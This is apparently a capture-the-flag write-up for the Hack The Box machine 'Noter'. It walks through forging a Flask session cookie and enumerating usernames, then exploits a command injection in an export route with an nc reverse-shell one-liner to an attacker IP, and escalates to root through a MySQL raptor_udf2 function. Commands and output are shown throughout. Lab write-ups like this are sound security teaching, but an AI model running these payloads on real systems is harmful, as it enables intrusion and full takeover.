Home Noter writeup
Post
Cancel
Preview Image

Noter writeup

Summary

This medium box was quite tricky, especially the root step, which took a while to figure out. The box focuses on exploiting a flask web application, alongside enumeration an ftp service hoste on the box. Finally to get root privileges, you have to exploit the fact that you access to mysql as root, which you can leverage into reading the root flag.

Foothold

We start out by doing an nmap port scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(bitis㉿workstation)-[~/htb/Machines/noter]
└─$ nmap -sC -sV 10.129.146.253
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-25 20:21 CEST
Nmap scan report for 10.129.146.253
Host is up (0.054s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
|   256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_  256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.66 seconds

The system has three ports open. Port 21, 22 and 5000, which is hosting a http service. We also note that the http service is using Werkzeug, meaning that the web application hosted on the port is most likely a flask application. If we visit the application we get greeted with the following note taking application:

Noter landing page Noter landing page

Once we login, we notice that we have a session cookie.

Registration and cookie Registration and cookie

We can use flask-unsign to decode the cookie and try to find the secret it was signed with:

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(bitis㉿workstation)-[~/htb/Machines/noter]
└─$ flask-unsign -d -c eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVzdCJ9.Yrc3eg.PuthvwTy0NMMCxNs8N_GneHU-9c
{'logged_in': True, 'username': 'test'}

┌──(bitis㉿workstation)-[~/htb/Machines/noter]
└─$ flask-unsign -u -c eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVzdCJ9.Yrc3eg.PuthvwTy0NMMCxNs8N_GneHU-9c
[*] Session decodes to: {'logged_in': True, 'username': 'test'}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[*] Attempted (2048): -----BEGIN PRIVATE KEY-----gt;
[*] Attempted (11136): Z5Ke168AcyTrZwlNW3OZ1H87liw3Of
[+] Found secret key after 18560 attemptsMy_API_Key>e
'secret123'

We have now found the secret key used to sign the session cookie. This means that we can create our own cookie, potentially login in as other users on the site. To enumerate users, we can use the login functionality of the site. If we attempt to login with a invalid user name, the application tells us “Invalid crdentials”

invalid crdentials

However if we attempt to login as a existing user but with a wrong password we get told “Invalid login”

invalid login

We can use wfuzz to fuzz the application for valid usernames like so:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(bitis㉿workstation)-[~/htb/Machines/noter]
└─$ wfuzz -u 'http://noter.htb:5000/login' -X POST -d 'username=FUZZ&password=aaaadwhadw' -w /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt --hs "Invalid credentials"
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://noter.htb:5000/login
Total requests: 8295455

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                    
=====================================================================

000000113:   200        68 L     110 W      2032 Ch     "blue"                                                                                                                                                                     
000007198:   200        68 L     110 W      2032 Ch     "Blue"             

As we can see from the output of wfuzz we have found two usernames, “blue” and “Blue”. We can then sign a flask cookie using flask-unsign once more.

1
2
3
┌──(bitis㉿workstation)-[~/htb/Machines/noter]
└─$ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123'
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YrdHUg.Pp4Ss88nFXoNRA5W7jHUkzkZ-9c

Using this cookie we can go to the “blue” notes. In one of the notes are the ftp credentials blue:blue@Noter!

blue note

While scoping out the ftp service we find a pdf.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(bitis㉿workstation)-[~/htb/Machines/noter]
└─$ ftp noter.htb
Connected to noter.htb.
220 (vsFTPd 3.0.3)
Name (noter.htb:bitis): blue
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||15193|)
150 Here comes the directory listing.
drwxr-xr-x    2 1002     1002         4096 May 02 23:05 files
-rw-r--r--    1 1002     1002        12569 Dec 24  2021 policy.pdf
226 Directory send OK.
ftp> get policy.pdf
local: policy.pdf remote: policy.pdf
229 Entering Extended Passive Mode (|||46037|)
150 Opening BINARY mode data connection for policy.pdf (12569 bytes).
100% |***********************************************************************************************************************************************************************************************| 12569      149.00 KiB/s    00:00 ETA
226 Transfer complete.
12569 bytes received in 00:00 (51.96 KiB/s)

The pdf contains the line: 4. Default user-password generated by the application is in the format of "username@site_name!" (This applies to all your applications). We can also see that the pdf was written by ftp_admin. If we try to login as ftp_admin on the ftp service while making sure to follow the default password scheme we get access:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(bitis㉿workstation)-[~/htb/Machines/noter]
└─$ ftp noter.htb 
Connected to noter.htb.
220 (vsFTPd 3.0.3)
Name (noter.htb:bitis): ftp_admin
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||31864|)
150 Here comes the directory listing.
-rw-r--r--    1 1003     1003        25559 Nov 01  2021 app_backup_1635803546.zip
-rw-r--r--    1 1003     1003        26298 Dec 01  2021 app_backup_1638395546.zip
226 Directory send OK.
ftp> 

Downloading the two app backups and analyzing them, we immediatly see something interesting. One of the backups contains SQL credentials:

1
2
3
4
5
6
7
8
9
10
11
app = Flask(__name__)

# Config MySQL
app.config['MYSQL_HOST'] = 'localhost'
app.config['MYSQL_USER'] = 'root'
app.config['MYSQL_PASSWORD'] = 'Nildogg36'
app.config['MYSQL_DB'] = 'app'
app.config['MYSQL_CURSORCLASS'] = 'DictCursor'

# init MYSQL
mysql = MySQL(app)

The other backup contains the following code snippet:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Export remote
@app.route('/export_note_remote', methods=['POST'])
@is_logged_in
def export_note_remote():
    if check_VIP(session['username']):
        try:
            url = request.form['url']

            status, error = parse_url(url)

            if (status is True) and (error is None):
                try:
                    r = pyrequest.get(url,allow_redirects=True)
                    rand_int = random.randint(1,10000)
                    command = f"node misc/md-to-pdf.js  $'{r.text.strip()}' {rand_int}"
                    subprocess.run(command, shell=True, executable="/bin/bash")

                    if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'):

                        return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True)

                    else:
                        return render_template('export_note.html', error="Error occured while exporting the !")

                except Exception as e:
                    return render_template('export_note.html', error="Error occured!")


            else:
                return render_template('export_note.html', error=f"Error occured while exporting ! ({error})")
            
        except Exception as e:
            return render_template('export_note.html', error=f"Error occured while exporting ! ({e})")

    else:
        abort(403)

In short, the code takes a .md file from a url, attempts to convert it into a pdf, and also executes the contents of the file. This means if we make a .md file containing a reverse shell we should be able to get into the machine.

I created a file named note.md containing the following rever shell oneliner: ' rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.17.182 4444 >/tmp/f; #.

We then get a reverse shell when exporting the note:

1
2
3
4
5
6
7
┌──(bitis㉿workstation)-[~]
└─$ nc -lvnp 4444            
listening on [any] 4444 ...
connect to [10.10.17.182] from (UNKNOWN) [10.129.146.253] 34658
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(svc) gid=1001(svc) groups=1001(svc)

Privilege escalation

After adding our public key to the authorized_keys file we can ssh in as the svc user to get a more stable shell.

Since we had credentials to the mysql database, and since mysqld was running as root, it might be interesting to try the exploit found here. I ran the following commands to get the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
MariaDB [mysql]> create table foo(line blob);
Query OK, 0 rows affected (0.014 sec)

MariaDB [mysql]> insert into foo values(load_file('/home/svc/raptor_udf2.so'));
Query OK, 1 row affected (0.004 sec)

MariaDB [mysql]> show variables like '%plugin%';
+-----------------+---------------------------------------------+
| Variable_name   | Value                                       |
+-----------------+---------------------------------------------+
| plugin_dir      | /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ |
| plugin_maturity | gamma                                       |
+-----------------+---------------------------------------------+
2 rows in set (0.002 sec)

MariaDB [mysql]> select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
Query OK, 1 row affected (0.001 sec)

MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected (0.001 sec)

MariaDB [mysql]> select * from mysql.func;
+-----------+-----+----------------+----------+
| name      | ret | dl             | type     |
+-----------+-----+----------------+----------+
| do_system |   2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.001 sec)

MariaDB [mysql]> select do_system('cat /root/root.txt > /tmp/flag.txt;chown svc:svc /tmp/flag.txt');
+-----------------------------------------------------------------------------+
| do_system('cat /root/root.txt > /tmp/flag.txt;chown svc:svc /tmp/flag.txt') |
+-----------------------------------------------------------------------------+
|                                                                           0 |
+-----------------------------------------------------------------------------+
1 row in set (0.005 sec)

MariaDB [mysql]> \! sh
$ cat /tmp/flag.txt
0780ed0d4344ec8598ab32e7812f629f
$ 

Rooted!

This post is licensed under CC BY 4.0 by the author.